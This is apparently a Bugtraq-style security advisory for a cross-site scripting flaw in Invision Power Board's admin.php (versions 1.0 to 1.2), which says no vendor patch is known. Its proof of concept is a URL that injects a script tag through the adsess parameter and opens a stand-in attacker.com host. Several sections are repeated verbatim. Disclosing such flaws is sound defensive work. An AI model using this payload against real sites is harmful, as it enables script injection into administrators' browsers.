Invision Power Board Admin.PHP Cross-Site Scripting Vulnerability
BID:8381
Info
Invision Power Board Admin.PHP Cross-Site Scripting Vulnerability
| Bugtraq ID: | 8381 |
| Class: | Input Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Aug 09 2003 12:00AM |
| Updated: | Aug 09 2003 12:00AM |
| Credit: | Discovery of this vulnerability has been credited Boy Bear <[email protected]> |
| Vulnerable: |
Invision Power Services Invision Board 1.2 Invision Power Services Invision Board 1.1.2 Invision Power Services Invision Board 1.1.1 Invision Power Services Invision Board 1.0.1 Invision Power Services Invision Board 1.0 |
| Not Vulnerable: | |
Discussion
Invision Power Board Admin.PHP Cross-Site Scripting Vulnerability
Invision Power Board admin.php script reported prone to a cross-site scripting vulnerability.
The issue presents itself due to a lack of sufficient sanitization performed by functions in an Invision Power Board script on user-influenced URI parameters. It has been reported that a remote attacker may construct a malicious link to the affected script hosted on a remote site, and supply arbitrary HTML code as a value for a URI parameter. If this link is followed, the content of the URI parameter will be rendered in the browser of the user who followed the link.
Invision Power Board admin.php script reported prone to a cross-site scripting vulnerability.
The issue presents itself due to a lack of sufficient sanitization performed by functions in an Invision Power Board script on user-influenced URI parameters. It has been reported that a remote attacker may construct a malicious link to the affected script hosted on a remote site, and supply arbitrary HTML code as a value for a URI parameter. If this link is followed, the content of the URI parameter will be rendered in the browser of the user who followed the link.
Exploit / POC
Invision Power Board Admin.PHP Cross-Site Scripting Vulnerability
The following proof of concept has been supplied:
http://www.example.com/admin.php?adsess='><script>window.open
(window.location.search.substring
(78));</script><http://www.attacker.com?BoyBear$$$From$$$BinaryVision
The following proof of concept has been supplied:
http://www.example.com/admin.php?adsess='><script>window.open
(window.location.search.substring
(78));</script><http://www.attacker.com?BoyBear$$$From$$$BinaryVision
Solution / Fix
Invision Power Board Admin.PHP Cross-Site Scripting Vulnerability
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.